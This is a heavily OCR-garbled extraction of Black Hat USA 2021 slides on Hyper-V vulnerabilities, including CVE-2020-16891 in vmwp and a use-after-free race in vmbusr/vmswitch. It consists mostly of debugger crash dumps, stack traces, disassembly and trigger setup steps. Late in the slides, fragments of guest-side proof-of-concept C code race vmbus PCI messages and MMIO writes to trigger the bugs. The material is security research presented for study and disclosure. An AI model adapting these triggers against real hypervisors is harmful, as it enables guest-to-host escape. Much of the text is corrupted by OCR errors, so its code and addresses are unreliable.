vmnbu=sr | ChlnmnapsEpadl View+0=z66

Child-5F

tf££8105°
tf££8105°
tf££8105°
tf££8105°
ftf££8105°
tf££8105°
tf££8105°
tf££8105°
Sthread=ffffc48elbobdi4n

rdi=ffffcd48=197=9a80

Thes?970
Jhestfall
fhesetail
Jeeetacll
Teeetagll
Jees7bi0
7hesetho0
7eeseYhel

Fetiddr

tffffa0d”
tfff£80d°
tfff£80d°
tfff£801°
tfff£801°
tfff£501°
tff££801°
ooooooao”

. Yns¥nHicPvtEnclChannel Closed
VnsVnNicPvtPauselvuslsthread=ffffcd 821837040
Sthread=ffffcdfelsthfDebug =es=zion time: Mon Jun 10 10:22:19.882 2019 (UTC + &:00%

Debug =session tigleblSy=tem Uptime: 0 days 0:31:24. 866
Sv=ten Uptime: 0

4239908
4279156k
4279069
d32%a50c
d3261=35
d327edf?
d33bbb06
gooaooooon

Call Site

vmbu=sr | ChlnmapGpadlViewv+0=z66

vmnbu=sr | BusChiinmnapGpadl Viev+0xc

vmnbkmnzlr | EnclpTeardownOpenChannelState+0=6f
ymblknclr | Encl pFundownCount fero+0x99

nt !l JopProcesslorkl tem+lxl?c

nt |ExporkerThread+0x£f 5

nt | PepSv=tenThreadStartup+0=47
ntlEiStartSystenThread+0=xls

Vm=
Sth

Sw=

Gpa)

rd=f #

Sth
=t

04

Debug =e=s=ion tifgg

Sv=ten Uptime:

GpadlView
rdx=00000000000=elel14
Depls thread=ffffcd8elci3?040
=truct _CLIEHT_ID
+0=000 TniqueProcess

oo

+0=0083 TniqueThread

Child-SP

tf££8105°
ftf££8105°
tf££8105°
tf££8105°
tf££8105°
tf££8105°
ftf££8105°
tf££8105°
tf££8105°
tf££8105°

J691£968
JE91£970
7691£f9al
7691£940
7691f=a20
7691fa60
7691f=90
7691£fb00
7691fb30
7691fhel

Retiddr

tffffa0d°
ftffffa0d°
tffffa0d”
tfff£80d°
tfff£80d°
tfff£801°
tfff£801°
tfff£501°
tff££801°
oooooono”

O=x00000000 00000004 Void
0000000007 0000133 Woid

4239908c
42787471
430bc751
4327db32
4279031
d32%a50c
d3261=35
d327edf?
d33bbb06
goooooon

call Site

vmnbusr | ChlnmapGpadlView

vmbu=zr | BusChlInmapGpadl View+O=c

vmbkmnzlr | VnbChannel TnnapGpadl+0x1£
vnEwlitch! VnsVnHicPvtDestrovEeceivebBuf fers+0x111
vmewitch! VneVnHicPvtEnclChannelClosed+0=x102
vmnblknclr | Encl pFundownCount fero+0=6f

nt !l JopProcesslorkl tem+lxl?c

nt |ExporkerThread+0x£f 5

nt | PepSv=tenThreadStartup+0=47
ntlEiStartSystenThread+0=li

Odoe

o7

Sy=zten Uptime:

Debug =es==ion time:

Sy=ztem Uptime:
Dbl

Mon Jun 10 10:22:19.948 2019 {0OTC + &8:00)

0 day= 0:31:24 872

c.time; .echo (g;

0 day=s 0:31:24 847
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kd s
led:
lkd >
ked
kd s
o kdr g

P2 [ Prd P2 D o0

GpadlView

Child-SF

tf££8105°
ff££8105°
f£££8105°
t£££8105°
f£££8105°
ff££5105°
f£££8105°
ff££8105°

black hat

LUSA 2021

Sthread=ffffcdBelsthfDabug
Debug =es=ion tifleblSyste
Sv=ten Uptime: 0

rdH=DDDDDDDDDDDEID

Sthread=ffffcdis]

struct CLIEWT I
+0=000 Tnigue
+0=0083 Tnigue]

Teee]
7Eee]
7Eee]
==
Thee]
7Eee]
7Eee]
E==)

Gpa

dl¥View

rdz=00000000000elel4d
Sthread=ffffcdBela?chi40)|
struct _CLIENT ID

+0=000 TnigueProce==

+0=008 TnigqueThread

Child-5F
tff££a105°
f£££8105°
ff££83105°
£t
£t
£t
ff
ff

tfff8105°

7463£998
7463f£%a0
7463£940

T7463fa00
T7463fatb0
T7463f£a90
"7463fb0O0
T7463Eb30

7463 fhel

Retaddr

tffffa0d”
fff££50d°
fffff£a04°
tffffa04d”
tffffa01"
tffffa01"
ff£££201°
ff£££201°
gpoooooon”

4239908c
42787471
430bc751
430bdbie
d329a50c
d3261e35
d327edf7?
d23bbb06
oooooono

Ox00000000° 00000004 Void
Ox=00000000°000001%= VYoid

Call Site

vmbusr | ChllnnapcpadlView

vmbusr | BusChUnmapGpadl Viewv+l=c

vmbknclr | YmbChannel TnnapGpadl+0=1f

vmEvitch ! YmeVnHicPrtDestrovyReceiveBuf fers+0x111
vmEvitch ! YmeVnHicPrtRevolkeRecieveBuf ferorkI ten+lxlle
nt | JTopProcessTorklten+l=zl2c

nt | ExplorkerThread+0xf 5

nt | PepSv=tenThreadStartup+0=x47?
ntlKiStartSy=stenThread+0=xl6

Debug =ession time:
Sy=tem Uptime:

wmbusr | ChllnnapspadlView+ 0266
rdi=ffff-d8=1h2d0ad0

Sys

Debug =e=s=ion tifgg
Svy=tem Uptime: D]DE

Child-5F
fff£8105°
f£8105°

Lo 2T O o ' T T o o T o

Child-SP
tfff£8105°

F463£910
7463f£%al

"74e3£9d0
"7463falb0
"7463faki
"7463fas0
"7483fb0O0
"7463fbh90
"7463fhbe0
Sthread=ffffcdd=la’c=h040

7691f8el
FB91£970
7691£%a0

T7691£9d40
T7691fa20
"7691fa60
"7E91fa90
T7691fb0O0
T7691iba0
"7691ibe0
=ffff-d8=1=837040

FetAddr

tffffa0d”
fff££80d°
fff££50d°
tffffa04°
tffffa01"
tffffa01"
tffffa01”
ff£££201°
gogoooon”

vmbusr!ChUnmapGpadl?iew+DHBE

FetAddr

tffffa04d”
tffffa04d”
tffffa0d”
fff££80d°
ff£££50d°
tffffa01"
tffffa01"
tffffa01"
ff£££201°
cooaooan®

4239908z
42787471
430bz751
430bdbie
d329a50c
d3261e3k
d927=d4£7
d23bbb06
goooaoao

4239908
4278747t
430bc751
4327db3:2
4279031
d929a50c
d3261e35
d327=d4£7
d23bbb06
goaoaoan

Mon Jun 10 10:22:20.116 2019 (UTC + 8:00)
0 day=s 0:31:24 872

Zall Site

vmbusr | ChilnmapGpadlView+(x6A

vmnbuzsr | BusChUnnaptpadl View+l=zc

vmblknclr | YmbChannel UTnnapGpadl+0=1£

vmavitch ! YmeVnHicPrtDestrovyReceiveBuf fers+0x111
vmEvitch ! YmeVnHicPrtRevolkeRecieveBuf ferTorkI ten+lxlle
nt | JTopFrocezssTorkl ten+l=l2c

nt | EzplorkerThread+0xf 5

nt | PepSv=stenThreadStartup+0=47?
ntlKiStartSy=tenThread+lxle

Call Site

vmbusr | ChilnmapspadlView+(x6A

vmbusr | BusChlInmapGpadl Viev+l=c

vmblkmnclr | YmbChannel TnmnapGpadl+0=1f

vmevitch ! ¥meVWnHicPrtDestrovReceiveBuf fers+0x111
visvitch! VYnsVnHicPvtEnclChannelClosed+0x102
vmblknclr | EmclpRundovnCount Zero+0=6f

nt | JTopFProcessTorkl ten+l=12c

nt | ExpllorkerThread+0=xf 5

nt | PepSy=tenThreadStartup+0=zd?
ntlEiStartSy=tenThread+0xlt

Sy=zten Uptime:

0 day=s 0:31:24 847

USA @BlackHatEvents
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CVE-[

EDTARGET . Refreshing KD connection

O=000000d1
(O=0000000000000008, 0x0000000000000002, 0x0000000000000001, 0xFFFFFE80D4239ACDE )

*¥% Fatal Sy=tem Error:

Breal: instruction exception — code 30000003 (first chance)

w4 fatal sy=tem error has occurred.
rdiDebugger entered on first trvy: Bugcheclk callbacks have not been invoked.

wnby
2: kdr bp wmbusrrdiloo |4 fatal system error has occurred.
2. kd: bp vm=witd # 01 echo g:".
2: kd: bp vmswitdol Jg2 lConnected to Windows 10 17134 =64 target at (Mon Jun 10 10:22:21.135 2019 (UTC + 8:00)). ptrid TRUE
2. kdr bp vmewitd0l g3 Jloading Kernel Symbols
2: kdr Bp wmbusr [U2 fna . -
2 kdr g O k- -
Tn=VnN1icPytEeyvols DE N -
Sthread=ffffcdssd?® lg2 L . .
Debug sessicn tifg, spfloading User Symbols
Sy=ten Uptime: 0

Tm=VnHicPvtPause
fthread=ffffcdife
Debug =e==ion ti
Sv=ten Uptime: 0

GpadlView
rd==00000000000&]
Sthread=ffffcdis]
struct CLIEWT I
+0=000 Tnigue

+0=0083 Tnigue]

Child-5SP
fff£8105°
tfffa105"
ffffa105°
ffffa105°
tff£8105°
ffffa105%”
ffffa105°
fff£8105°
Debug =e==ion ti
Sv=ten Uptime: 0

7Eee]
==

Teee]
7Eee]

Thee]
7Eee]
7Eee]
E==)

$thvm_LDading unloaded module list
'?msSt.
Sys

€ 363 3E 36 36 3E 363636 363 3636 3636 36 3636 3636 3636 3636 36 3636 363 3636 36 336 3636 363 363636 336 3636 36336 3636336 363 36336 3636 3636 36336 3636 3636366366 KK

3*

3*

3k *

I#s Gp O 36 3636 3E-3E 363 36 36 36 3636 I-3E 363636 363 36 36 3636 363636 3636 3636 363 36 3636 3636 3636 363 36 3636 3636 3636 36336 3636 3636 3636 36336 363 363636 3636 336 363 36363 I
m=

rdsz
g;ESt T=ze lanalvze —v to get detailed debugging information.

=t
{a,

Frobably cau=zed by

Bugcheclk Analv=is=

Sw=

BugCheck D1, 2,1, ff£££80d423%acdB}

Gpa)
rd=f #
5th

=t

vmbusr.=v=s { vnbusr!ChleleteGpadlViewlflnreferenced+30 )

Followup: MachineOyner

nt | DbgBrealkPointWithStatus:
fff£f£801°d93bc2el co
2 kdr r $thread
Sthread=ffficdfela?cza040
2: kd» ?7? @Sthread-:Cid
=truct _CLIEHNT ID
+0=000 TnigueProces=
+0=008 TnigueThread

int

; O=00000000° 00000004 Void
: O=00000000° 0000019z Void

#BHUSA @BlackHatEvents

Sy=zten Uptime: 0 daws 0:31:24 847




bl&k hat

LUSA 2021

Call Site

tff£8105°

Jde3esdd f££££801°4d944£172 nt | DbgBrealkPointWithStatus
01 f££f£fRA105°7463eebl f£££f£f801°d944e982 nt|KiBugCheclkDebugBreal+0x12
02 f£££R105° 7463esbl f££££801°d93b4797 nt!KeBugCheclk2+0=x962
(::\V/ — vm- 03 f£££R105°7463£5d4d0 £££££801°d93c5269 nt |KeBugCheckEx+0x107
04 f£££R105°7463f610 £££££801° d93cleset nt!|KiBugCheckDispatch+0=69
: b # 05 f£££R105°7463£750 f£f£££80d° 423%cd8 nt!KiPageFault+0=x425
%: tgi H Emgﬁfilrilﬂﬂ 0e ffffBlDE:?453fBED fffffEDd:dEE?thE vnbusr |ChDeleteGpadlViewlflUnref erenced+0=30 o gt
50 kds hE wma=witdon g% ca nz ffffElD5~?463f910 fffffEDd‘42399DEc vmbusr!ChUnmapGpadlvlewaHaE =PI
3 Ld s bp wvmewitdol o3 |o na ffffBlD5~?463f9aD fffffBDd\42?B?d?f vmbuzr | BusChUnnapGpadlViev+0=c
5 Lds bp wmbusr (02 09 f£££fR105°7463£9d0 f££££80d° 430bs?51 wmblnclr | VmbChannel UnnapGpadl +0=x1£
20 Lds - 03 ~f0a t£f£8105° 7465fa00 f£££f£80d 430bdbie vmswitch!VmsVmHicPvtlestrovReceivebBuffers+0x111
TnsVnHicPvtRevokd®? lgg |- Ob f£££8105°7463fa50 £££££801°4d929%9a50c wvmswitch!VnsVnHicPvtRevokeRecievebuf ferWorkIten+lxzlie
Sthread=ffffcdi=g0? M0 f£E£££8105° 7463fa90 f££££801°d92612e35 nt ! IopProcessWorkIten+lxzlic
Debug session ti 06 O0d f£££8105°7463f000 f££££801°d927edf? nt!|EzplorkerThread+0=x£f5
Svstem Uptime: 0 7 e f£££R105°7463£f090 f££££301°4d93bbbi6 nt!PepSys=tenThreadStartup+0=47?
Sth - .
] Of ££££8105°7463fbel 00000000 00000000 nt!KiStartSystemThread+0=x16
VnsVnHicPvrtPau=elyus st s IpDDl ffffcd8elbidiadn

unahle to get nt|EEpHeapEackEdPDDlEnahlEdStatE
Fool page ffffcdd3elbddladl region 1= Honpaged pool

Sthread=ffffcdfelsthiD=t
Debug =es=ion tifDebisys

UAF!

Svsten Uptime: 0)5vs ffffcdBelbZdi00l =ize: 970 previous =sizZe:; 0 (Allocated) Thre
ffffcdfelb?di970 =ize: al previous =size: 970 (Free ) Wad

GpadlView *®ffff-cdBelbddiall =ize: Al previous =1Ee; all (Fres ) *®VYbus
rd=z=00000000000&] : Fooltag Vbus : Virtual Machine Bus Driver. Binary : wmbus. =vys
Sthreid=éiiéﬁ%5? Sys ffffcifelbZd0290 =ize: 100 previous size. B0 (Allocatedy Htfz
struct _ Ll Bud ffffcd8elb2dib90 =size: 30 previous =ize: 100 ({(Allocated) SeTl

+0=000 Uﬂ%quEﬂGpa I ffffcdfelb2dicll =size:  d0 previous =size: 80 (Allocated) Wait

+02008 Uniqueledsf # P ffffcd4felb?dicel size: 250 previous size: d0  (Allocated) ALPC
# Child-SP JorBl00 ) | £f£c48e1b2d0£30 size:  dO previous size: 250 (Allocated) Wait
00 ££££8105 7oeslstrl01 012 1ds db ffffcodBelb2diall
a1 LLLfBl0n 78==) 92| |efftcdse  1b2d0alD 0a 00 05 04 56 62 75 73-73 ad ad 64 £8 a9 b2 87 .. Vbuss. .d..
03 ffffElDE”?E::' &+ 03 nt|ffffcdde’ 1b2d0aZ0 50 b6 26 1lc 8 cd ff ff-a0 72 d7 1lc 8e cd £f ££ P& ... .. ..., ..
04 £1£f£2105 76007400 gg fffffffcdBe’ 1b2d0a30 =0 Y2 1f 1d 8e cd4 £f ££-00 00 OO0 00 OO0 00 OO a0 .. .. ... ... .. ..
05 fii0100 7eacqll |oo |o: JifffcdBe 152d0240 10 BO Da 1d 8= od £f ££-14 1= 0= 00 00 01 01 00 ... ... .. ...
g ffffElDE”?Eee'DE 07 stiffffcd482”1b2d0a50 08 80 00 OO0 30 80 00 00-00 0O 00 00 02 00 00 oo B 1
07 ffffBlDE"?Eee'DS 0 2:|ffffcdfe’ 1b2d0ac0 00 00 00 00 00 00 00 00-50 40 b4 19 8= =4 £f ££ ... ... .. Pa. . ...
Debug ses=sion ti 04 ffffcd8e 1b2d0a70 20 o0 b3 19 82 =4 ff ff-00 =0 b3 19 8 =4 £f ££ ... ... ... .. ....

og o9 .
Svystem Uptime: 0Olge IDe ffffcd8e 1b2d0ad0 f£-00 00 00 00 00 Qo0 o0 oo ...
a7 5? #BHUSA @BlackHatEvents
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»Race condition : Because of VM shutdown, Host will auto recycle the VM
resource. But we can also use some VM resource and do something. In
this case, send a NVSP_MSG1 TYPE REVOKE _RECV_BUF message
when VM reset(efi.reset_system(0, EFI_SUCCESS, 0, NULL);).

»|n a word : Use Resource When Auto Recycle

#BHUSA @BlackHa tEvents
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»Exploit thinking

. Find suitable object for kernel pool Spray.

. But the time window between two threads is very short, kernel pool Spray Is
not easy to succeed.

Ill.  Use interrupt to interfere with one of the threads, then cause thread switching,
Increase the time window.

»Why failed?
* The thread lock is a Spin Lock®.

#BHUSA @BlackHatEvents
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(2220 .1ffc): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

vnwp | EmulatorVp: (ActuallvAttenptEmulation+0x290;

00007f£f6 29515000 488bL40083 nowv rax,qword ptr [ra=x+8] ds:6c756d65° 6d6f636a=777272772772279797977°
0:002> k
# Child-SP RetAddr Call Site

00 0000008d 6asffadl 00007ff6 e9513bel wvmwp!EmulatorVp: ActuallvAttemptEmulation+0x290

01 0000008d  6aeff920 D0D0D7ff6 2951493 vmwp!EmulatorVp: : TryvEmulation+0x48

02 0000008d baesff970 00007ff6 2951335 wvnwp!VndCompletionHandler: :HandleVndCallback+0xace

03 00000084d " 6aeffcBD 0D000D7££6 e955£705 vmwp!VndCompletionThread: :RunSelf+0x105

04 0000008d° 6asffd00 00007£ff6 e955f6c8 vmwp!<lambda_0d2132334fa52e%9=02abelebtci85d8104; ; operator( )+0x19
05 00000084 6asffd30 00007ffa " 670f1lffa vmwp!Vml: : VmThread: :OnRunThread+0=z28

06 0000008d 6asffd?0 00007ffa " 69df81f4 ucrtbase!thread_start<unsigned int (_ _cdecl#*)(void * _ ptre6d):>+0=x3a
07 0000008d " eaeffdal 00007ffa 6al0a251 KERNEL3Z2 |BaseThreadlnitThunk+0x14

08 0000008d 6aeffdd0 00O0ODOOOO 00000000 ntdll!RtlUserThreadStart+0x21

0:002> u @rip-3

vmwp | EmulatorVp: (ActuallvAttenptEmulation+0x28d:

00007ff6 e9514ffd 488b01 mnow rax,gword ptr [rcx]

00007£f£6 29515000 438b4008 nov rax,qword ptr [ra=+8]

00007f£f6 29515004 ££1546371800 call gword ptr [vmwp!_guard_dispatch_icall_ fptr (00007f£f6 &9698750)]
00007££6 9515005 49896208 mov gword ptr [rl14+8].xbp

00007ff6 2951500 e9cdfeffff Imp vnwp | EmulatorVp: ActuallvittenptEnulation+0=170 (00007ff6 ' e9514eel)
00007££6° 29515013 4139beal160000 cmp dvord ptr [rl14+16A0h],edi

00007ff6°e951501a 0f84bifeffff je vmwp ! EmulatorVp: (ActuallvAttemptEmulation+0x163 (00007ff6 e9514ed3)
00007££f6 29515020 498bce nowv rcx,rld

0:002> r rax

rax=bc?756d656defR362

0:002> db rc=-18

p0O00275" 3e8eaabl 6f 6e 65 63 6f 72 65 5c-76 6d Sc 77 6f 72 6b 65 onecorenvmiworke
00000275  3eBeaa?70 72 S5c 76 6d 62 S5c 76 6d-62 63 6f 6d 65 6d 75 b rSvmbNvmbcomemul
D0O000D275" 3eB8eaa80 61 74 69 6f 62 73 65 72-76 69 63 65 73 2 63 70 ationservices.cp
00000275 3eBeaa’d0 70 28 31 30 31 36 29 5c-76 6d 77 70 2e 65 78 65 p(l1l0l16) vmvp. e=xe
00000275 3eBeaaal 21 30 30 30 30 37 46 46-36 45 39 35 37 44 38 45 |00007FFeE9S7DSE
00000275 3eBeaabl 31 3a 20 28 63 61 6c 6c-65 72 3a 20 30 30 30 30 1: (caller: 0000
00000275 3eBeaacl 37 46 46 36 45 39 36 38-35 45 42 38 29 20 45 78 7FFeE9685EBS8) Ex
00000275 3e8eaadl 63 65 70 74 69 6f 6e 28-33 30 29 20 74 69 64 28 ception(30) tid(
D:002 » rcx

#BHUSA @BlackHatEvents
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(2220 .1ffc): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

vnwp | EmulatorVp: (ActuallvAttenptEmulation+0x290;

00007ff6 29515000 488b4008 nov rax,gword ptr [rax+8] ds:6c?56d65° 6d6EfE36a=777277277207020707??
0:002> k

# Child-SF .
00 0000008d 6aeffgl 002> T ICX

01 0000008d" 6acff9 rcx—000002?53888aa?8

02 00000084 6aeff9j0: 002> lheap —x —v 000002753eBeaa?b

03 0000008d° 6baeffdFailed to read heap keySEGMENT HEAP ERROR: failed to initialize the extention

04 0000008d taeffdEntry User Heap Segnent Size PrevSize Unused Flags

05 0000008d" eaeff

06 0000008d" 6aeff

07 00000084 6acffd000002753e82aa50 000002753e8eaa60 000002753d4850000 000002753de4dS530 b0 - 0 LFH:;free

08 0000008d 6aeff

0:002> u @rip-3 Search VM for address range 000002753eB8eaalbl — 000002753ebeaaff : B8debd4fbdc0 (2753eBeaatl), B8debd4fc3t0 (2753ebe
vmwp!Emu%atDr‘Up: A0-002 u @rip

gggggﬁgggg%éf]f‘]g vmwplEmulatorVp: ActuallvAttemptEmulation+0x290

00007ff6 29515004 00007ff6 =9515000 488b4008 o rax,qward ptr [rax+3]

00007ff6° e951500a JO0007£E6 =9515004 ££1546371800 call gword ptr [vmwp!_guard _dispatch_icall fptxr (00007f£6 =9698750)]
00007££6°e351500e J00007ff6 " 951500a 49896208 nov gword ptr [rl4+48].rbp

33333%%253212313 00007ff6 2951500e e9cdfeffff imp vmwp | EmulatorVp:  ActuallviAttenptEnulation+0=x170 (00007ff6 e9514ee0)
uunu-;,ffﬁ-g%lng 00007ff6 29515013 413%bealle0000 cmp dword ptr [rl4+16A0h].ed1

0:002> r rax 00007ff6 =951501a 0f84b3feffff il= vmwp ! EmulatorVp: ActuallvAttemptEmulation+0x163 (00007ff6 29514ed3)
rax=6c756d656d6f6300007££6 29515020 498bce now rcx,rld

0:002> db rcx-18 J00007ff6 9515023 =898d7£f£f£ £ call vmwp | EmulatorVp: FlushCaches (00007f£6°e95127c0)

00000275 " 3efeaabl Ip-gp2s r

N I'ax
D pz7e d=feaall N ax=6c756d656d6£ 6362

00000275 3eBeaa’d0 70 28 31 30 31 36 29 5c-76 6d 77 70 2e 65 78 65 p(l1l0l16) vmvp. e=xe
00000275 3eBeaaal 21 30 30 30 30 37 46 46-36 45 39 35 37 44 38 45 |00007FFeE9S7DSE
00000275 3eBeaabl 31 3a 20 28 63 61 6c 6c-65 72 3a 20 30 30 30 30 1: (caller: 0000
00000275 3eBeaacl 37 46 46 36 45 39 36 38-35 45 42 38 29 20 45 78 7FFeE9685EBS8) Ex
00000275 3e8eaadl 63 65 70 74 69 6f 6e 28-33 30 29 20 74 69 64 28 ception(30) tid(
D:002 » rcx

#BHUSA @BlackHatEvents



4]

black hat

LUSA 2021

CVE-2020-16891

»This vulnerability requires Windows Server category OS.

»>Set "Network Adapter'—>"Hardware Acceleration"—>"Enable SR-
IOV" In the virtual machine settings.

»>In the "Virtual Switch Manager", virtual network adapter should enable
"Enable single-root I/0 virtualization” and select a network adapter
that must support SR-10V at the hardware level.

»For example, | select "Intel(R) Ethernet 10G 4P X540/1350 rNDC #2".

#BHUSA @BlackHa tEvents
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»The issue exists in function
vmwp!EmulatorVp::FlushGvaTranslationCache
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EmulatorVp: :FlushGvaTran=slationCache(void)
| woid _ _fastcall EmulatorVp: FlusthaTranslatiDnCache(Emulatorvp #* hidden this)
>T ?FlusthaTranSlatiDnCache@EmulatDer@@AEAAXXZ proc near
CODE XREF: EmulatorVp: :FlushCaches(void)+E p
;o EmulatorVp: ActuallvAttemnptEmnulation(uint,uchar #,uchar,K uchar,uchar, EmulatorVp: FaultlAccessInfo const *)+1CE
VI . DATA XREF:
arg_0 = gword ptr 8
arg_»8 = gword ptr 10h
arg_10 = gword ptr 18h
+0=00 nov [rsptarg 0]. rb=x
+0=05 nov [rsp+arg_8]. rbp
+0=x04 nowv [rsp+arg_10]. r=i
+0=0F push rdi
+0=10 sub rsp., 20h
+0x14 nov reEi, rcx
+0=17 lea rdi, [rcx+288h]
+0=1E nov ebp. 20h
+0x23
+0x23 loc_140006117: ; CODE XREF: EmulatorVp: :FlushGvaTranslationCache(void)+36: 3
+0=23 nov rbx, [rdi]
+0=26
+0x26 loc_140006114A: ;. CODE X¥REF: EmulatorVp: :FlushGwvaTranslationCache(woid)+95: 3
+0x226 test rbx, rbx
+0=29 inz short loc_ 140006147
+0=2B and [rdi]. rb=
+0x2E add rdi, 8
+0=32 sub rbp. 1
+0x36 inz short loc_ 140006117
+0=38 and [r=i+1088h]. ebp
+0x3E nov rbp, [rsp+28h+targ B8]
+0=43 nov r=i, [rsp+28h+arg 10]
+0x48 nowv rbx. [rsp+28h+arg_0]
+0=4D add rsp, 20h
+0=51 pop rdi
+0=x52 retn
+0x53 Po—— — — — — — —
+0=53
EEE loc_ 140006147 : . . CODE ¥REF: EmulatorVp: ::FlushGwaTranslationCache(woid)+29 3 f:BHUSA @BlackHatEvents
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+0x53
+0=53
+0x57
+0=x54
+0=5C
+0=5C
+0=5C
+0=60
+0x63
+0=65
+0x64
+0=6C
+0x6F
+0=73
+0x76
+0=x74
+0x80
+0=x84
+0x84
+0=x84
+0x87
+0=8B
+0x91
+0=91
+0x91
+0=95
+0x97
+0=97
+0x97
+0=97
+0x94
+0=x9E
+0x44
+0=xA4

C o

loc_140006147:

loc_140006150:

loc_140006178:

loc_140006185:

loc_14000618B:

CODE XREF: EmulatorVp

i FlushGwvaTranslationCache(wvoid)+29

]

now rcx, [rb=+30h]
test rc¥, ICX
inz short loc_14000618E
CODE ¥XREF: EmulatorVp: :FlushGvaTranslationCache(void)+i4d: J
now rc¥, [rb+38h]
test rcE, rcx
1z short loc_140006185
cmp qword ptr [rbx+50h], 0
1z short loc_140006178
now rce, [rsi]
now rdz, [rb=+58h]
now rax, [rcx]
now rax, [rax+28h]
call cs:__ _guard_dispatch_icall_fptr
now rc¥, [rb+38h]
CODE XREF: EmulatorVp: :FlushGvaTranslationCache(wvoid)+64" 3
now rax, [rcx]
now ragx, [ra=+3]
call cs:__guard_dispatch_icall_fptr
CODE XREF: EmulatorVp: :FlushGvaTranslationCache(wvoid)+631 3
now rbx, [rb+60h]
Jmp short loc_14000611A
CODE XREF: EmulatorVp: :FlushGvaTranslationCache(wvoid)+54 3
now rax, [rcx]
nov rax, [ra=z+8]
[ call cs:__guard_dispatch_icall_fptr ;vnwp | YND_HANDLER_CONTEKT : : RemoveReference |
WP Short loc I4000UBIGU

?FlushGvaTranslationCache@EnulatorVp@@AEAAXXZ endp
DL ) R 4 ) BN L8 (1008 =0 ) WM o B 63 § LM 0= e =) 4 B = e ) L= o T A W v R

La/.

secee aeeee Tacbee BOL D
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1) vmwp!EmulatorVp::FlushGvaTranslationCache+0x9e =
vmwp!VND_HANDLER_CONTEXT::RemoveReference—>
vmwp!Vml:VmSharableObject::DecrementUserCount

2 If vmwp!VND_HANDLER _CONTEXT::RemoveReference first parameter
offset-0x50's value is 1,

vmwp!Vml::VmSharableObject::DecrementUserCount will free a
VmbComMmioHandlerAdapter object of size 0OxbO0.

PS : The first parameter offset-0x50 Is a reference counter’s address, If the
reference counter equal to 1, a VmbComMmioHandlerAdapter object will be
recycled, and free a Oxb0 size heap chunk. In the following presentation, the

reference counter will be referred to as KEY REF COUNTER

#BHUSA @BlackHatEvents
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»vmwp!VndCompletionHandler::HandleVndCallback can also invoke
Vml::VmSharableObject::DecrementUserCount

»vmwp!VndCompletionHandler::HandleVndCallback invoke
Vml:VmSharableObject::DecrementUserCount to decrease an object’s
reference count.

VYndCompletionHandler: :HandleVndCallbacki{void %, VID MSG DATA #, VID MSG RETURN DATA #*)
+0=xAAB now rcx, rdi ; this

+0=zAAE call ?Decrement UserCount@VmSharableObject@Vnl@@AEAAKEY ; Vml:  VmSharablelObject : : DecrementUserCount ( void)
+0=AB3 nov ebx, rldd

+0=xABB mov rltd, 1

+0=ABC inp loc_1400045CE

> The KEY REF COUNTER can also be modified by function

Vml::VmSharableObject::DecrementUserCount at address
vmwp!VndCompletionHandler::HandleVndCallback+0xAAE.

#BHUSA @BlackHatEvents
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»The PoC code is control vmwp.exe process runs to address

vmwp!VndCompletionHandler:

‘HandleVndCallback+0xAAE

wvold mess pci_data(ud2 * buffer, u32 * bufferlen.

{
w32 message_type = sssstate?PCI_BUS _DOENTRY :PCI_BUS DOEXIT:;
1f (mes=age_type == PCI_BUS_DOEXIT)
sssstate = 1;
else
sssstate = 0:
switch(message_tvype)
i
case PCI_BUS DOENTRY:
{
struct pci_bus _d0_entry * dl_entry = (struct pci_bus dl_entry
d0_entry->message_tvyvpe.message_type = PCI_BUS DOENTRY:
d0_entry-rreserved = 0x41414141;
d0_entry—>mmio_base = iomem;
*bufferlen = 0x10;
breal
¥
ca=s=e PCI_BUS_DOEXIT:
{
struct pcli_message * d0_exit = (struct pci_message *)buffer;
d0_e=xit->message_type = PCI_BUS _DOEXIT:
*bufferlen = 0=xd40;
breal :
¥
1
}

struct vmbus_channel * channel)

*abuffer;

static int vmbus_sendpacket_copyed{struct wmbus_channel #channel, void *buffer,

ul2 bufferlen., ubd requestid, enum vmbus_ packet _tyvpe type, ull flags)
if(mutex_is lockedi(é&fz_locks)){
return 0;
H
mutex_lockié&fz_locks):
struct pci_create_interrupt #* int_pkt:
int_pkt = (=truct pci_create_interrupt *)buffer;
while(1l){
mess_pci_data(buffer, &bufferlen, channel):
vmbus_sendpacket_old({channel, buffer, bufferlen, requestid, type, flags);

mdelavi({2):
1

mutex_unlock(é&fz_locks):

—
#BHUSA @BlackHatEvents
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»The PoC code is control vmwp.exe process runs to address
vmwp!EmulatorVp::FlushGvaTranslationCache+0x9e

=tatic int poc thread(wvoid #* arg)

{

1f{i1omem = 0=x0){
vold * virt addr = i1oremap(iomem, 0=x2000);
while(1l){
1owriteld(random(l)x%27?0:2, wvirt_addr + 0x1004):

L
¥
return U; L
What is virt_addr+0x1004 ?

#BHUSA

@BlackHatEvents
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»The PoC code is control vmwp.exe process runs to address
vmwp!EmulatorVp::FlushGvaTranslationCache+0x9e

=tatic int poc thread(wvoid #* arg)

{

1f{1omem != 0x0

#BHUSA @BlackHatEvents
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0:009> bc =

0:009> bp vmwp!EmulatorVp: :ActuallvAttemptEmnulation+0x290

0:009> bp vmwp!EnulatorVp: :ActuallyvAttemptEmulation+0=x2b3 "dg @rcx: .echo ———————— :dg @rcx+0x288 L?0=20:~."

0:009> bp vmwp!VndCompletionHandler: :HandleVndCal lback+0xaae " .echo dec.;r rcx.™. k:.echo ;g:"

0:009> bp vmwplo_free "r rc=;~."

0:009» bd 0 3

0:009> bl
0 d Enable Clear 00007££7 06215000 0001 (0001) D:%*xxx yvawp!EnmulatorVp: ActuallvittenptEnulation+0x290
1 & Disable Clear 00007ff£7 06215023 0001 ¢0001) D:%*xx ynwp!EmnulatorVp: :ActuallvittemptEnulation+0x2b3 "dg @rcx=; .echo ———————— :dg @rcx=+0=288 L70=x20:~."
2 & Disable Clear 00007ff7 0621491e 0001 ¢0001) 0:%*xxx yuyp! VndCompletionHandler: :HandleVndCallback+0xaae " .echo dec.r rcx:™. k; .echo ;g:;"
3 d Enable Clear 00007ff7 0626b474 0001 (0001) O:%*xxx ynwplo_free "r rcx:~."

0:009: g

#BHUSA @BlackHatEvents
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*
vmwp | Emulaton
vmwp ! Emulatorn
vmwp | VndComp 1
vnwplo_free
03

Enable Clear
Disable Clear
Disable Clear
Enable Clear

dec
rcx=000001811c786a30
13 Id: ab0.1lcbc Suspend: 1 Teb: 00000064 7££33000 Unfrozen
Start: ucrtbaselthread_start<un=signed int (__ _cdecl#*)(void * _ ptred):> (00007ffa ccallfch)
Priority: 0 Priority class: 32 Affinity: £££000
